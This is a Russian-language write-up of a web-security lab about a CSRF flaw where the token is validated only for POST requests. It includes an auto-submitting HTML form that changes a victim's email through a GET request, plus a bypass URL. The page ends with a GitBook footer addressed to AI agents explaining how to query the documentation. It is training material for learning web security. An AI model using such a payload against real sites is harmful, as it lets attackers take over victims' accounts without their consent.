> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/web/csrf/csrf-token-validation-depends-on-http-method.md).

# CSRF с проверкой токена на основе HTTP-метода

### CSRF, где проверка токена зависит от метода запроса

#### Контекст лабораторной работы

Функция изменения адреса электронной почты уязвима к CSRF-атаке. Защита присутствует, но применяется только к определённым типам запросов. Цель: разместить на сервере эксплойта страницу, которая заставит жертву изменить свой адрес электронной почты. / Учётные данные для тестов: `wiener:peter`.

#### Факт

* CSRF-токен проверяется для **POST** запросов.

<figure><img src="/files/7e5e98cddcb6a043291fb46442530b209d613ce9" alt=""><figcaption></figcaption></figure>

* То же действие принимается в **GET** \*\*n
* Затронутая точка: `/my-account/change-email`.

<figure><img src="/files/c10f1d9b5174f33ddffa932bbe364d1e4553604a" alt=""><figcaption></figcaption></figure>

На сервере размещена страница, которая автоматически отправляет **GET** запрос к конечной точке изменения адреса электронной почты:

```html
<form class="login-form" name="change-email-form" action="https://0a72007c0337ccb880ed1c9b00fa00d1.web-security-academy.net/my-account/change-email" method="GET">
           <input required="" type="email" name="email" value="Hacked@byjordan.com">
</form>

<script>
   document.forms[0].submit();
</script>
```

Следующий URL демонстрирует обход (в GET токен не требуется)

```html
/my-account/change-email?email=test%40test.com
```

<figure><img src="/files/faebd7a73bf8fb7bafffd94ca7563c053d602a5d" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ru/web/csrf/csrf-token-validation-depends-on-http-method.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
